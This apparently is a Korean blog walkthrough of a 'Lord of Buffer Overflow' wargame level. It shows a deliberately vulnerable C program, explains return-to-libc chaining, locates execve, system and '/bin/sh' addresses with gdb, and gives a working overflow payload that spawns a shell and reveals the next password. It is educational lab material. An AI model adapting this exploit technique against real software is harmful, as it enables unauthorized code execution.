bugbear / new divide
[bugbear@localhost bugbear]$ cat giant.c
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
execve함수를 반드시 실행해야 한다.
execve 함수 형태는 다음과 같다.
#include <unistd.h>
int execve(const char *pathname, char *const argv[], char *const envp[]);
pathname에 파일명을 넣고, argv에는 파일명이 저장된 배열의 주소를 넣어야 한다.
사용 방식은 다음과 같다.
#include <unistd.h>
int main(){
char* argv[2]={"/bin/sh",NULL};
execve("/bin/sh",argv,NULL);
}
이 문제에선 execve 함수의 두 번째 인자인 argv에 전달할 값을 모른다. 따라서 execve 함수를 호출 후 종료하고 system 함수를 호출하며 "/bin/sh"을 전달하는 방식으로 해결할 것이다. 이전 bugbear 문제는 RTL방식이었다면 이번엔 함수를 연달아 호출하는 RTL Chain 방식이다.
일반적인 형태는 다음과 같다. (func1 인자 2개, func2의 인자가 1개라고 가정)
buffer | sfp | ret addr (func1) |
pop pop retn 주소 |
func1 param1 |
func1 param2 |
func2 주소 |
dummy | func2 param |
과정을 살펴보면 func1으로 돌아가서 push ebp부터 시작해서 leave, ret 거치면서 pop retn 명령어의 주소로 eip가 설정될 것이다. 자연스럽게 pop pop retn 명령어를 각각 수행하면 func1 param1, param2는 pop 될 것이고 func2 주소로 retn 되어 func2가 실행될 것이다. func2 다음엔 호출할 함수가 없기에 dummy가 들어간다. 원래 func 다음엔 다음에 호출할 함수 주소가 들어간다.
직접 테스트한 글이 있기에 참고하면 도움이 될 것이다.
이 문제를 풀기 위해선 다음과 같이 payload를 구성한다.
buffer | sfp | ret addr (execve 함수) |
retn addr (system 함수) |
dummy | system 함수 param ("/bin/sh") |
이제 execve 함수, system 함수, "/bin/sh"문자열의 주소를 구해보자.
[bugbear@localhost bugbear]$ gdb giant2 -q
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r aaaa
Starting program: /home/bugbear/giant2 aaaa
Breakpoint 1, 0x8048566 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p execve
$2 = {<text variable, no debug info>} 0x400a9d48 <__execve>
system 주소: 0x40058ae0
execve 주소: 0x400a9d48
[bugbear@localhost bugbear]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
long sh=0x40058ae0;
while(memcmp((void*)sh,"/bin/sh",8)){
sh++;
}
printf("%p\n",sh);
}
[bugbear@localhost bugbear]$ gcc getaddr.c -o getaddr
[bugbear@localhost bugbear]$ ./getaddr
0x400fbff9
"/bin/sh" 주소: 0x400fbff9
payload를 완성해 보자.
[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH
@ɀAAAA
bash$ my-pass
euid = 514
one step closer
위에 만든 형식대로 주소값을 대입했다. 주의할 점은 `python ~ ` 이 아니라 "`python ~`"인 것이다. execve 주소 인자에 \x0a가 들어가는데 print로 출력하면 개행임을 알 수 있다. 따라서 "(큰 따옴표)로 앞 뒤를 묶어서 문자로 처리한다.
giant의 비밀번호는 one step closer이다.
'Lord of Buffer Overflow' 카테고리의 다른 글
assassin -> zombie_assassin (0) | 2023.02.01 |
---|---|
giant -> assassin (0) | 2023.02.01 |
darkknight -> bugbear (0) | 2023.01.31 |
golem -> darkknight (0) | 2023.01.26 |
skeleton -> golem (0) | 2023.01.25 |